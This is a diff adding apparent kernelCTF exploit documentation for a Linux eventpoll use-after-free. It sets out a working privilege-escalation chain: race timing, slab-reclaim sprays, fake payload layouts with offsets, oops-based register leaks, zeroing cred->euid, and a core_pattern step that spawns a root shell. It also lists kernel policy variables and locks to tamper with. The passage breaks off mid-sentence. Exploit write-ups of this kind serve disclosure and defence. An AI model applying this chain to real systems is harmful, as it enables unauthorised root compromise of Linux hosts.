diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-43074_lts/docs/exploit.md new file mode 100644 index 000000000..b0f44ffce --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/docs/exploit.md @@ -0,0 +1,443 @@ +# Exploit details for CVE-2026-43074 + +If you need the bug background first, read [vulnerability.md](./vulnerability.md). +## Overview + +This exploit is a data-only privilege-escalation chain for the eventpoll use-after-free in CVE-2026-43074 ("epollution"). It does **not** try to get direct RIP control. Instead, it reuses the freed `struct eventpoll` object to steer `ep_get_upwards_depth_proc()` into controlled memory, uses repeated oopses as an information leak, and then uses the resulting write primitive to clear credential fields until one of the forked helper processes becomes root. + +At a high level the chain is: + +1. Resolve the kernel image offset with the prefetch side channel unless `--nokaslr` or `--image-offset` is supplied. +2. Repeatedly race `close(parent_ep)` against `epoll_ctl(shared_ep, EPOLL_CTL_ADD, leaf_ep, ...)`. Reclaim the freed parent `struct eventpoll` with sprayed user-key objects and make the kernel interpret reclaimed memory as fake epoll graph metadata. +3. Use the resulting controlled traversal to clear selected kernel variables and to force oopses that leak registers from the kernel log. +4. Convert the register leaks into a leak of the next `struct cred` allocation. +5. Use the same primitive again to zero `cred->euid` and nearby credential fields. +6. Pre-fork many helper processes so the final overwrite has many candidate + `cred` objects around the predicted target page to hit, then race on + `core_pattern` once any one of those helpers becomes privileged. + +In GitHub Actions testing, the submission succeeded `98` times out of `100` +runs on the `lts-6.12.82` target. + +## Code map + +The implementation is already split by responsibility: + +- Triggering and timing the race lives in `exploit/lts-6.12.82/modules/epoll_phase.h` and `exploit/lts-6.12.82/modules/epoll_ratc.cpp`. +- KASLR leakage lives in `exploit/lts-6.12.82/modules/kaslr_prefetch.cpp`. +- Kernel-log parsing for oops register leaks lives in `exploit/lts-6.12.82/modules/klog_reader.cpp`. +- Primitive construction and target selection live in `exploit/lts-6.12.82/modules/payload.cpp`. +- The large `nperm` spray that places the payload in a predictable kernel-reachable location is wrapped in `exploit/lts-6.12.82/modules/nperm.cpp`. +- The top-level orchestration, helper-process logic, and Step 0-Step 7 comments live in `exploit/lts-6.12.82/exploit.cpp`. + +## Techniques and primitives + +### 1. KASLR resolution by prefetch side channel + +Before the exploit starts using any payload addresses, `KaslrOffsetResolver` derives the kernel image offset unless `--nokaslr` or `--image-offset` is supplied. + +This is not a heap leak. It is a side channel used so the exploit can turn built-in symbol offsets and the configured `nperm_addr` into runtime kernel addresses. + +That offset is later used for both: + +- global kernel targets such as `panic_on_oops`, `epnested_mutex`, `dmesg_restrict`, `console_printk`, `printk_console_no_auto_verbose`, and `core_pipe_limit`; +- the runtime address of the fake epoll payload staged by `nperm`. + +### 2. UAF trigger and same-cache reclaim spray + +The bug is triggered with three epoll objects: + +- `parent_ep`: the ancestor epoll instance that becomes the freed object; +- `shared_ep`: the shared epoll instance whose reverse-reference list is walked; +- `leaf_ep`: child epoll instances repeatedly added and removed. + +Conceptually the graph is: + +`parent_ep -> shared_ep -> leaf_ep` + +The race is between: + +- parent thread on CPU 0: `close(parent_ep)` after `parent_ep` has already been linked to `shared_ep`; +- adder thread on CPU 1: `epoll_ctl(shared_ep, EPOLL_CTL_ADD, leaf_ep, &ev)`. + +The important data structures are: + +- `struct eventpoll::refs`: reverse-reference list head; +- `struct epitem::fllink`: list node used during the upward traversal. + +One thread can still be traversing `shared_ep->refs` in `ep_get_upwards_depth_proc()` while the other thread runs `__ep_remove()`, unlinks the parent edge with `hlist_del_rcu(&epi->fllink)`, drops the final reference, and frees the parent `struct eventpoll` with `kfree()`. + +After that free, the exploit immediately reclaims the same object with sprayed user-key payloads created by `add_key("user", ...)`. This spray is chosen because, on the target kernel, the freed `parent_ep` and the user-key payload allocation land in the same slab size class, `kmalloc-192`. + +This spray is not the payload itself. Its job is only to refill the freed `struct eventpoll` with attacker-controlled words before the stale pointer is used again. + +### 3. `nperm` payload placement + +The actual fake traversal payload is produced by `build_nperm_payload()` in `payload.cpp` and placed by `NpermStageRunner` in `nperm.cpp`. + +The concrete contract visible in this repository is: + +- the payload base is `options.layout.nperm_addr`; +- the runtime payload address is computed as `image_offset + nperm_addr + offset`; +- `--nperm-addr` can override the layout-provided base. + +That is why the initial reclaim spray fills the freed `eventpoll` with: + +`final_addr = nperm_addr + image_offset + 0x10` + +The point of the `nperm` stage is therefore different from the user-key spray: + +- user-key spray: reclaim the freed `eventpoll` object from the right cache; +- `nperm`: place a fake chain of epoll-controlled words at a predictable kernel address so the reclaimed `eventpoll` can point into it. + +This exploit uses NPerm v2 for that payload placement step. Compared with the +original NPerm from +[`CVE-2025-38477_cos/docs/novel-techniques.md`](../../CVE-2025-38477_cos/docs/novel-techniques.md), +it drops the userns+`pgv` dependency and handles both the `<4G` and `>4G` +image-placement cases. The rationale and measurements are summarized in +[novel-techniques.md](./novel-techniques.md). + +### 4. Converting the UAF into a traversal primitive + +The core primitive comes from how nested epoll traversal consumes reverse references: + +```c +static int ep_get_upwards_depth_proc(struct eventpoll *ep, int depth) +{ + int result = 0; + struct epitem *epi; + + if (ep->gen == loop_check_gen) + return ep->loop_check_depth; + hlist_for_each_entry_rcu(epi, &ep->refs, fllink) + result = max(result, ep_get_upwards_depth_proc(epi->ep, depth + 1) + 1); + ep->gen = loop_check_gen; + ep->loop_check_depth = result; + return result; +} +``` + +Once the freed `parent_ep` has been reclaimed with attacker-controlled words, the stale object is no longer interpreted as a real `struct eventpoll`. Instead: + +- the kernel reads `eventpoll->refs` from the reclaimed object; +- that value is treated as `&epitem->fllink`; +- the kernel reconstructs the containing `struct epitem` by subtracting `0x50`; +- the resulting fake `epi->ep` is fed back into `ep_get_upwards_depth_proc()`. + +The important offsets are: + +- `eventpoll.refs` offset: `0xa0`; +- `epitem.ep` offset: `0x48`; +- `epitem.fllink` offset: `0x50`. + +The payload layout used by `setup_spray_payload()` is therefore: + +```text +final_addr = nperm_addr + image_offset + 0x10 + +ffffffff85141000 0000000000000000 [payload 1] +ffffffff85141010 ffffffff85141020 [payload 2] +ffffffff85141020 ffffffff85141030 [payload 3] +ffffffff85141030 ffffffff85141040 [payload 4] +ffffffff85141040 0000000000000000 0000000000000000 +``` + +When `ep->refs` is interpreted as pointing at `ffffffff85141010`, the kernel treats that word as `epi->fllink`, reconstructs the fake `epitem` base at `ffffffff85141010 - 0x50`, and reads `fake_epi->ep` from the preceding controlled qword. + +This gives a compact chained payload where each controlled word can become the next recursive `ep` argument. + +### 5. Two useful outcomes from the traversal + +The exploit uses the same traversal machinery in two different modes. + +#### 5A. Traversal termination: constrained zero-write primitive + +If the forged `ep->refs` is zero, the traversal stops and returns. In that case the kernel still updates fields in the interpreted `struct eventpoll`, notably: + +- a one-byte zero into `loop_check_depth`; +- a small `uint64_t` into `gen`. + +This is the constrained write primitive used to clear selected kernel values and, later, credential fields. + +#### 5B. Faulting traversal: oops-based register leak primitive + +If the derived `epi->ep` is invalid, the kernel triggers an oops and leaks register state. Crucially, the fake `epitem` is reconstructed as: + +``` +epitem = ep->refs - 0x50 +``` + +which means the kernel effectively dereferences attacker-controlled data at: + +``` +*(ep + 0xa0) +``` + +to obtain `ep->refs`, and then walks backward to form the fake `epitem`. As a result, `RBX` ends up containing this reconstructed `epitem` base, giving a direct leak of a pointer derived from controlled memory. This is exactly the primitive used by `payload.cpp` in the credential leak stage. + +This is how the exploit turns the UAF into an information leak without ever taking direct control of instruction flow. + +### 6. Oops log parsing + +The deliberate faults only become useful because `KernelLogReader` extracts specific registers from the fresh oops log: + +- stage 1 reads `GS`; +- stage 1.5 reads `RBX`. + +The first payload stage also clears `panic_on_oops` and `dmesg_restrict`, so the machine survives the deliberate crash and the oops output is readable. + +### 7. RATC timing helper + +When `--use-ratc` is enabled, the exploit arms a `timerfd`-based timing helper +before the first add operation of each round and optionally adapts the timeout +window over time. This is purely a reliability aid for lining up the +close-vs-add overlap; it is not required to understand the primitive itself. +The RATC idea is not ours; see Project Zero's "Racing against the clock: +hitting a tiny kernel race window" +() +for the general technique and timing rationale. + +### 8. Cred leak primitive + +The value stored in `cred_jar->cpu_slab` is effectively fixed—it represents a stable per-CPU offset due to the deterministic nature of per-CPU allocations. After stage 1 leaks the CPU-1 `GS` base, the payload combines this fixed offset with `cpu1_gs_base` to resolve the correct runtime address of `cred_jar->cpu_slab`. + +`ep` is chosen so that, using the faulting traversal primitive described in 5B, the kernel evaluates `*cred_jar->cpu_slab`. This is equivalent to dereferencing the per-CPU freelist pointer, i.e. `*(void **)freelist`, which yields the next `struct cred` object to be allocated. + + +## Step-by-step flow in `exploit.cpp` + +The following section matches the comments and call order in `main()`. + + +### Step 1: initialization, layout resolution, KASLR, and initial reclaim payload + +`initialize_exploit()` performs the setup that the rest of the exploit depends on: + +- pin the main thread to CPU 1 so the leaked GS base matches later operations; +- parse runtime options; +- set up the coredump helper fd and `core_pattern` string template; +- load layout values from the target database; +- resolve `image_offset` with prefetch sidechannel attack; +- create `EpollRatcController` and `NpermStageRunner`; +- build the initial reclaim payload with `setup_spray_payload()`. + +That last step is where the exploit deliberately ties the reclaimed `eventpoll` to the future `nperm` payload address: + +`final_addr = nperm_addr + image_offset + 0x10` + +So after this step: + +- the stale `eventpoll` can be reclaimed with pointers into the future `nperm` chain; +- the exploit knows how to compute runtime addresses for both kernel symbols and payload words. + +### Step 2: first `nperm` stage plus stage1 epoll race to leak GS + +`leak_gs_base()` runs: + +1. `nperm_stage_runner->run_stage(0, 0)`; +2. `epoll_ratc->run_phase("stage1", ...)`; +3. `klog_reader.read_oops_registers()` for `GS`. + +The stage-1 payload is the setup payload, not the credential payload. It clears or relaxes global state so deliberate oopses become usable: + +- set `panic_on_oops` = 0 +- clear `epnested_mutex` +- set `dmesg_restrict` = 0 +- set `console_printk` = 0 +- set `printk_console_no_auto_verbose` = 1 + +The payload clears or relaxes: + +- `panic_on_oops`, so the machine does not immediately die on the deliberate crash. +- `epnested_mutex`, so the exploit can retry the nested-epoll race multiple times. +- `dmesg_restrict`, because without clearing it the later oops logs are not readable. +- nearby `types__syslog`, `printk_time`, `console_printk`, `console_owner`, and + `printk_console_no_auto_verbose` state, mainly to suppress console output for + speed and also because later clears are constrained by `refs == 0`, so some + surrounding words must be zeroed first to make the intended target reachable + without breaking the walk too early. + +`epnested_mutex` is worth calling out separately because it is a global lock +for the "epoll inside epoll" add path. The relevant control flow in +`do_epoll_ctl()` looks like: + +```c +if (op == EPOLL_CTL_ADD) { + if (READ_ONCE(fd_file(f)->f_ep) || ep->gen == loop_check_gen || + is_file_epoll(fd_file(tf))) { + mutex_unlock(&ep->mtx); + error = epoll_mutex_lock(&epnested_mutex, 0, nonblock); + ... + error = epoll_mutex_lock(&ep->mtx, 0, nonblock); + } +} +... +if (full_check) + mutex_unlock(&epnested_mutex); +``` + +When we deliberately oops in the middle of that path, normal unwinding does not +reach the final `mutex_unlock(&epnested_mutex)`. Per-object locks can often be +sidestepped by creating fresh epoll objects, but this one is global: every +nested-epoll add goes through the same `epnested_mutex`. So if we do not clear +it back to the unlocked state, later race attempts stop here. + +After that, the stage-1 epoll race intentionally faults and `KernelLogReader` extracts the CPU-1 GS base from the oops log. + +### Step 3: per-iteration `cred_jar` grooming and stage1.5 cred leak + +The main loop starts by grooming the next cred allocation and cleaning up old helper processes: + +- `spawn_and_release_children(5)` churns `cred_jar`; +- `flag_readers.cleanup()` kills old helper groups from the previous attempt. + +Then `leak_cred_rbx_until_valid()` runs: + +1. `nperm_stage_runner->run_stage(0, leaked_gs)`; +2. `epoll_ratc->run_phase("stage1.5", ...)`; +3. `klog_reader.read_oops_registers()` for `RBX`. + +This is the stage that turns the GS leak into a leak of the next `struct cred` candidate. + +If the recovered `RBX` does not look like a plausible heap pointer, the code retries and even forks sacrificial processes to skip bad cred candidates. + +### Step 4: Spawn helper processes around the predicted `cred` allocation + +Once a plausible cred candidate has been leaked, `spawn_flag_readers()` forks many helper processes. + +These helpers attempt to reclaim `cred` objects near the recently leaked +freelist candidate. They then repeatedly try to write to `core_pattern`. We +fork them before the final overwrite so they can occupy many nearby `cred` +slots first. Then the overwrite does not need to hit one exact object; it only +needs to hit any one of those helper credentials. + +The leaked freelist entry only predicts the next `struct cred` allocation well +enough to narrow the search to one slab page. It does not guarantee that the +final write lands on one exact object. Forking gives the exploit many helper +processes and therefore many candidate credentials to hit around that predicted +target page. + +This logic is not part of the bug trigger. It is post-exploitation +orchestration designed to turn "one of these nearby helper creds became root" +into a reliable flag read or interactive shell. + +### Step 5: rebuild the payload for the leaked `struct cred` and do epoll race to clear credential fields + +After the helpers are in place, `main()` runs: + +`nperm_stage_runner->run_stage(state.leaked_rbx, 0)` + +This switches `build_nperm_payload()` into its final credential-targeting mode. + + +In step 5, the goal is to overwrite `cred->euid` to 0. However, the exploit does not target only the specific `cred` object predicted from the freelist. Since that freelist entry may be reclaimed by another allocation, the payload also targets multiple other candidate `cred` objects within the same slab page. + +Concretely, it sprays writes across several page-aligned offsets around the leaked address, covering other `cred` slots that are likely to reside in the same slab. This increases the chance of hitting a valid, in-use credential. + +- direct target based on the leaked cred pointer; +- eight additional page offsets (`0x0`, `0x240`, `0x3c0`, `0x600`, `0x6c0`, `0xc00`, `0xcc0`, `0xf00`) within the same cred slab page. + +These extra offsets are not random noise. They are a reliability mechanism: the +leaked freelist entry narrows the search, but does not always identify the +exact `cred`. The exploit therefore keeps many helper candidates in play and +then writes several candidate offsets, expecting that one of them will +eventually land on one of those helper credentials. + + +The important victim fields are: + +- `cred->euid`: the primary privilege bit the exploit wants to clear. +- nearby UID/GID and capability fields around offsets `0x1c` to `0x30`: also + cleared because this primitive requires `refs == 0`, so hitting one target + field often first requires clearing the corresponding `refs`-side words + around it. + + +This stage is the kernel-memory overwrite step. The overwrite is still data-only: no control-flow object is corrupted. + + +### Step 6: Post-exploitation via `core_pattern` + +Once one helper process runs with an effective root credential, it rewrites `core_pattern` to point at a memfd-backed copy of the exploit binary: + +- fast mode uses file descriptor marker `666` and prints the flag; +- shell mode uses file descriptor marker `665` and re-enters the binary as an interactive shell helper. + +The exploit also sets `core_pipe_limit` to a non-zero value in the earlier payload so the coredump helper can access the relevant file descriptors. + +When the helper crashes itself with `SIGSEGV`, the kernel invokes the coredump helper as root. The re-entered binary detects that it is running via `/proc//fd/` and either: + +- copies `/flag` to `/dev/ttyS0`, or +- duplicates the parent TTY file descriptors and spawns `/bin/bash -i`. + + +## Important constants and why they matter + +### Layout-derived offsets + +- `eventpoll.refs` offset (`0xa0`): tells the exploit where to place the fake reverse-reference head inside reclaimed `struct eventpoll` memory. +- `epitem.fllink` offset (`0x50`): used to convert an `hlist_node` pointer back into the containing fake `struct epitem` and to reconstruct leaked `struct cred` pointers from `RBX`. +- `pcpu_cred_jar_offset` (`0x3b6d0`): fixed per-CPU offset from the leaked `GS` base to the `cred_jar->cpu_slab` pointer used in the second leak stage. + +### Payload sizing constants + +- `NPERM_PAYLOAD_SIZE` (`0x4a0`): size of the staged fake-node area used by the controlled traversal. +- spray payload length `168` bytes: chosen so `add_key()` allocations reclaim the same slab size class as the freed parent `struct eventpoll` on the target. +- `kSprayTotal = 103`: number of key objects per round; the comment in `epoll_phase.h` explains that this value is empirically stable and avoids waiting for delayed recycling. + +### Kernel symbols written by the exploit + +These addresses are normally resolved via Kernel XDK, not hard-coded by the exploit logic: + +- `panic_on_oops`: cleared to keep the machine alive through deliberate faults. +- `epnested_mutex`: unlocked so the nested epoll race can be repeated. +- `dmesg_restrict`: cleared so kernel-log based leakage becomes readable at all. +- nearby `types__syslog`, `printk_time`, `console_printk`, `console_owner`, and + `printk_console_no_auto_verbose`: adjusted to suppress console output for + speed and to zero the nearby words that later `refs == 0` constrained clears + must step through. +- `core_pipe_limit`: set non-zero so the coredump helper can inherit and use file descriptors. + +## Multi-threading, forking, and synchronization + +### Why multiple threads are needed + +The vulnerability is a race condition, so the exploit needs concurrent execution of two code paths: + +- parent thread: creates and closes the ancestor epoll; +- adder thread: repeatedly adds leaf epolls to the shared epoll. + +The two threads synchronize with a reusable barrier in `epoll_phase.h`. Each round has three synchronization points: + +1. both threads prepare their side; +2. the parent closes `parent_ep` while the adder begins `epoll_ctl(... ADD ...)`; +3. both threads finish cleanup before the next round. + +### Why CPU affinity is needed + +The main thread is pinned to CPU 1 in `initialize_exploit()`, and the adder side leaks the per-CPU GS base used later in stage 1.5. + +This reduces scheduler noise and makes the leaked GS base usable for the later `cred_jar->cpu_slab` calculation. If the relevant thread migrated unpredictably, the leaked per-CPU address would not reliably match the later slab metadata. + + + +### Why forking is needed + +Forking appears in two different roles: + +- `spawn_and_release_children(5)`: groom the `cred_jar` freelist before the leak stage; +- `spawn_flag_readers()`: create many helper processes so that the predicted + cred slab page is populated with live candidates, then let whichever one gets + hit race to rewrite `core_pattern`. + +## Environmental requirements + +- `CONFIG_EPOLL=y` is required. +- No capabilities are required. +- User namespaces are not required. +- If the kernel image is mapped above the 4 GiB window the exploit checks for that via `/proc/iomem` and switches to the unmovable `nperm` spray path. + +## Success rate + +In GitHub Actions testing, the exploit succeeded `98` times out of `100` runs +on `lts-6.12.82`. diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/docs/novel-techniques.md b/pocs/linux/kernelctf/CVE-2026-43074_lts/docs/novel-techniques.md new file mode 100644 index 000000000..249b9852d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/docs/novel-techniques.md @@ -0,0 +1,564 @@ +Kernel State Manipulation, Oops as a Leak, and NPerm v2 +=============== + +The part of `struct eventpoll` that matters is: + +```c +struct eventpoll { + ... + u64 gen; + struct hlist_head refs; + u8 loop_check_depth; + ... +}; +``` + +and the relevant walk is: + +```c +/** + * ep_get_upwards_depth_proc - determine depth of @ep when traversed upwards + */ +static int ep_get_upwards_depth_proc(struct eventpoll *ep, int depth) +{ + int result = 0; + struct epitem *epi; + + if (ep->gen == loop_check_gen) + return ep->loop_check_depth; + hlist_for_each_entry_rcu(epi, &ep->refs, fllink) + result = max(result, ep_get_upwards_depth_proc(epi->ep, depth + 1) + 1); + ep->gen = loop_check_gen; + ep->loop_check_depth = result; + return result; +} +``` + +The key point of this exploit is that the whole chain is built from a very weak +primitive. We do not get a clean arbitrary write. What we can reliably get is a +conditional write-zero when reclaimed `eventpoll->refs` is read as zero. + +You may think `gen` or `loop_check_depth` could then be used as a controlled +non-zero write source, but in practice they cannot. `gen` is the nested-epoll +add counter; we do not control which race wins, and every attempt increments +it, so from the exploit's point of view it is effectively a small random +number. + +`loop_check_depth` is no better: making it write a non-zero value would require +`refs` not only to stay valid, but to decode into a pointer layout that keeps +the whole walk alive. That is especially hard because `refs` is parsed +recursively: every `epi->ep` reached from the current node must itself decode +into another valid `struct eventpoll`, with another valid `refs` list, until +the recursion finishes cleanly. + +We cannot fabricate that around the chosen target, so it would have to exist +already. In practice that is almost impossible: any illegal access during the +recursive `refs` walk crashes immediately, and even if some natural layout did +survive, the value written into `loop_check_depth` would still not be +arbitrary. It would just be the traversal depth of that particular walk, so it +is not generally useful or portable. In practice we did not find any natural +target layout whose `refs` walk completes cleanly. + +What remains usable is the zeroing effect. Either `loop_check_depth` is cleared +to zero, which requires `refs` to be empty and leaves nearby `gen` bytes as +collateral damage, or the high bytes of `gen` are cleared to zero, which again +requires `refs` to be empty and leaves both the low bytes of `gen` and +`loop_check_depth` as collateral. By choosing targets that tolerate that side +effect, we turn this weak primitive into a practical exploitation primitive. + +That primitive is enough to build, to our knowledge, the fastest public +KernelCTF concurrent-bug exploit so far. On the public KernelCTF sheet, our +full submission took only about `4.9s`, and most of that time was not the +exploit itself but QEMU startup and form submission. The exploit runtime itself +is about `1.5s`. + +The final exploit does not need a heap address leak, does not need a direct-map +leak up front, and reaches roughly `98%` to `99%` success in our tuned setup. + +For the CVE-2026-43074 epollution chain, it is also a fully data-only exploit: +there is no usable function pointer in the corrupted path, so we do not get to +fake an object and hijack RIP directly. In particular, the chain stays +compatible with CFI because it never relies on an invalid indirect call target. +That limitation is exactly why this chain is interesting. + +## Tampering Kernel Policy Variables and Global Locks + +The main shift from the traditional approach is that we stop treating the bug as +"get a heap address first, then build a stronger primitive." We did have such a +version: use [KernelSnitch][1] to predict the target `pipe_buffer`, then null out +its `page` pointer to manufacture a [page UAF][2], and then turn that into +full arbitrary read/write. That version works, but its reliability is poor, +well below `50%`, because it depends heavily on heap randomness. It also +typically takes `5` to `10` minutes, mostly because KernelSnitch itself is +slow. That is too slow for KernelCTF's five-minute limit and not competitive +for actually winning a slot. + +The more standard "global-variable overwrite" ideas do not fit this primitive +well either. Writing `core_pattern` into one valid writable path such as +`/tmp/...` would require too many successful races. The reason is that `gen` is +effectively a random small value from our point of view: it is the epoll-add +counter, and we cannot predict which individual `epoll_ctl(ADD)` will win. + +Even if we tried to write the path byte by byte, each byte would need on the +order of `256` races in expectation, and a minimal useful `/tmp/...` path is +already at least `5` bytes long. In the final exploit we only use `3` races in +total, so this route is far outside the available budget and would push the +exploit beyond KernelCTF's five-minute limit. + +Overwriting the `ctl_table` permissions for `core_pattern` is also a bad fit. +In `struct ctl_table`, the `mode` field sits between `void *data` and +`proc_handler *proc_handler`, and a single writable bit is already enough to +reopen writes to sysctls such as `core_pattern` or `modprobe`. We verified +locally that changing `mode` does directly change the exposed procfs +permissions. That makes `mode` a dangerous global target for any write-nonzero +primitive. + +But it is not a good fit for this bug. If we try to use the low bits of `gen` +to write a non-zero value into `mode`, then `proc_handler` gets treated as +`refs`, so the walk continues into kernel text and treats code bytes as +`epitem`s. We do not control that memory, and it is not writable, so this path +inevitably crashes. + +If we instead try to use `loop_check_depth` to write a non-zero value into +`mode`, then `refs` must be valid while the bytes underneath it come from +`int maxlen` and the high bits of `void *data`; that is an unaligned, +uncontrolled pointer and is again invalid. That is why we continued developing +other image-global targets instead. + +We are also looking at hardening this class by moving these control blocks off +stable image globals and onto heap objects, where ordinary heap randomness +would already make them much less attractive. + +Instead, we directly target image state that tolerates a conditional zero and a +small adjacent write. This removes the need for a heap pointer or a direct-map +address at the beginning of the exploit. The first NPerm stage is used to clear +or reshape stable global state that the later stages depend on: + +- `panic_on_oops`, so a deliberate oops no longer kills the kernel +- `epnested_mutex`, because the oops path leaves this global lock held and we + need to unlock it to trigger the race repeatedly. This is not just another + per-object lock: nested epoll adds always go through the same global mutex, + so once an oops leaves it stuck, later attempts stop before they reach the + vulnerable point. We clear its counter back to zero. This works because the + mutex fast path is a cmpxchg from `0` to a non-zero locked state; restoring + that state to `0` is enough to make the path enterable again. The exact + locking path is shown in [exploit.md](./exploit.md). +- `dmesg_restrict`, because without clearing it we cannot read `dmesg`, so the + later oops-based leak would be unusable +- `printk_time`, `console_printk`, `console_mutex`, and + `printk_console_no_auto_verbose`, mainly for speed. In particular, muting + noisy oops output on the QEMU console saves roughly `0.5s` per oops, so over + multiple oopses it saves about `1` to `2s`. + +This technique is still far from exhausted. The reason is simple: many policy +knobs and global locks are themselves kernel-image globals, so once we can +place a payload at a KASLR-relative image address, they become natural targets +for the same primitive. + +In principle the same idea could be used to enable unprivileged user namespaces +(the variables behind `kernel.unprivileged_userns_clone` and +`user.max_user_namespaces`), enable unprivileged `ebpf` +(`kernel.unprivileged_bpf_disabled`), switch SELinux from enforcing to +permissive (`selinux_enforcing`) and thereby potentially bypass SEAndroid on +Android as well, or clear global locks such as `rtnl`-style locks, just like +we do with `epnested_mutex`. +The last case is especially dangerous because it can deliberately introduce +races in other subsystems, which may expose stronger bug primitives than the +one we use here. We think this direction is still largely unexplored. + +An important point is that many of these targets do not require a stronger +primitive than a write-zero or write-nonzero style state change. Policy knobs +are often booleans, counters, or small integers, and many global locks can be +reopened just by writing their counter back to zero. + +| kind | name | what changing it buys | +| --- | --- | --- | +| policy | `ctl_table.mode` | a write-nonzero primitive is already enough: one writable bit can reopen writes to sensitive sysctls and recreate effects similar to writing `core_pattern` or `modprobe` directly | +| policy | `panic_on_oops` | keeps a deliberate oops from killing the kernel, so the leak phase can continue | +| policy | `dmesg_restrict` | lets an unprivileged process read oops logs and turn them into an address leak | +| policy | `core_pipe_limit` | loosens limits around repeated core-pipe based staging | +| policy | `kernel.unprivileged_userns_clone`, `user.max_user_namespaces` | re-enables unprivileged user namespaces and can reopen userns-based exploit paths | +| policy | `kernel.unprivileged_bpf_disabled` | re-enables unprivileged eBPF and may reopen verifier/JIT-based attack surface | +| policy | `selinux_enforcing` | switches SELinux, and on Android effectively SEAndroid, from enforcing to permissive | +| policy | `kernel.perf_event_paranoid` | relaxes perf restrictions and can reopen perf-based side channels or helper primitives | +| policy | `kernel.yama.ptrace_scope` | relaxes ptrace restrictions and may make cross-process inspection easier | +| policy | `fs.suid_dumpable` | makes setuid crashes dumpable again and can help core-dump based post-exploitation | +| policy | `kernel.randomize_va_space` | weakens user-space ASLR and may simplify later local stages | +| policy | `fs.protected_symlinks` | weakens symlink hardening checks | +| policy | `vm.unprivileged_userfaultfd` | re-enables unprivileged userfaultfd and can recreate userfaultfd-assisted races | +| policy | `vm.mmap_min_addr` | lowers low-address mapping restrictions and may revive NULL-dereference based control-flow hijacking | +| policy | `kernel.io_uring_disabled` | re-enables io_uring and its attack surface | +| lock | `epnested_mutex` | unlocks the vulnerable path after an oops so the race can be triggered repeatedly | +| lock | `rtnl_mutex` | can deliberately reopen races across networking code paths | +| lock | `tty_lock` | can deliberately reopen races around TTY state changes | +| lock | `module_mutex` | can create unusually reentrant module-management behavior | +| lock | `cgroup_mutex` | can deliberately reopen races in cgroup management paths | + +## Oops as a Leak + +This bug does not give us a native read primitive. The leak comes from oops +output itself. After clearing `panic_on_oops`, resetting the stuck +`epnested_mutex`, and clearing `dmesg_restrict`, we can deliberately trigger +the same oops many times and mine the logs for addresses. + +There are several useful leak surfaces here. Some registers directly expose +useful kernel pointers, including direct-map pointers and the per-CPU `GS` +base. More importantly, `ep_get_upwards_depth_proc()` gives us two reusable +ways to leak attacker-chosen pointers. + +The exploit stages are literally organized around this: + +```c +// stage 1: to set some kernel variables, trigger oops to leak $gs_base +// stage 2: to leak next struct cred +// stage 3: to clear (struct cred*)->euid +``` + +The first leak mode is exact. If `refs` is invalid, the kernel oopses while the +interesting pointer is still live in `RBX`. In practice this lets us read the +content of a pointer-valued slot exactly. A real stage-1.5 log looks like: + +```text +[ 23.077879] BUG: kernel NULL pointer dereference, address: 0000000000000098 +[ 23.077883] #PF: supervisor read access in kernel mode +[ 23.077885] #PF: error_code(0x0000) - not-present page +[ 23.077886] PGD 11d3e2067 P4D 11d3e2067 PUD 1056f6067 PMD 0 +[ 23.077889] Oops: Oops: 0000 [#2] SMP NOPTI +[ 23.077892] CPU: 1 UID: 1000 PID: 253 Comm: exploit Tainted: G D 6.12.82 #1 +[ 23.077894] Tainted: [D]=DIE +[ 23.077895] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-4 +[ 23.077896] RIP: 0010:ep_get_upwards_depth_proc.isra.0+0x15/0xa0 +[ 23.077922] Code: 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f 44 00 00 41 55 4c 8b 8 +[ 23.077923] RSP: 0018:ffffbe718086bde0 EFLAGS: 00010246 +[ 23.077925] RAX: ffffa270c64565b0 RBX: ffffa270c64565b0 RCX: 0000000000000002 +[ 23.077926] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 +[ 23.077927] RBP: 0000000000000000 R08: ffffa270c4d20f01 R09: ffffa270c4d20f00 +[ 23.077928] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000 +[ 23.077929] R13: 00000000000269ec R14: ffffbe718086bf0c R15: 0000000000000000 +[ 23.077935] FS: 00007d5d1ee9a6c0(0000) GS:ffffa270dfd00000(0000) knlGS:0000000000000000 +[ 23.077937] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 23.077938] CR2: 0000000000000098 CR3: 000000011e126000 CR4: 0000000000350ef0 +[ 23.077945] Call Trace: +[ 23.077957] +[ 23.077959] ep_get_upwards_depth_proc.isra.0+0x3f/0xa0 +[ 23.077961] ep_get_upwards_depth_proc.isra.0+0x3f/0xa0 +[ 23.077963] ep_get_upwards_depth_proc.isra.0+0x3f/0xa0 +[ 23.077965] do_epoll_ctl+0x8b3/0x11e0 +[ 23.077967] ? srso_alias_return_thunk+0x5/0xfbef5 +[ 23.077971] ? __x64_sys_timerfd_settime+0xa0/0xf0 +[ 23.077973] __x64_sys_epoll_ctl+0x70/0xa0 +[ 23.077974] do_syscall_64+0x58/0x120 +[ 23.077977] entry_SYSCALL_64_after_hwframe+0x76/0x7e +[ 23.077979] RIP: 0033:0x51607e +[ 23.077981] Code: 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 8 +[ 23.077982] RSP: 002b:00007d5d1ee9a0f8 EFLAGS: 00000202 ORIG_RAX: 00000000000000e9 +[ 23.077984] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 000000000051607e +[ 23.077985] RDX: 000000000000080b RSI: 0000000000000001 RDI: 0000000000000805 +[ 23.077986] RBP: 00007d5d1ee9a1e0 R08: 0017c3162e000000 R09: 0000000a15b5e2ae +[ 23.077987] R10: 00007d5d1ee9a19c R11: 0000000000000202 R12: 0000000000000004 +[ 23.077987] R13: 00007ffca1685140 R14: 00007d5d14001b80 R15: 00007ffca1684d00 +[ 23.077989] +[ 23.077990] Modules linked in: +[ 23.077993] CR2: 0000000000000098 +[ 23.077994] ---[ end trace 0000000000000000 ]--- +``` + +In this mode, `RBX` is useful because of the actual compiler-generated path +inside 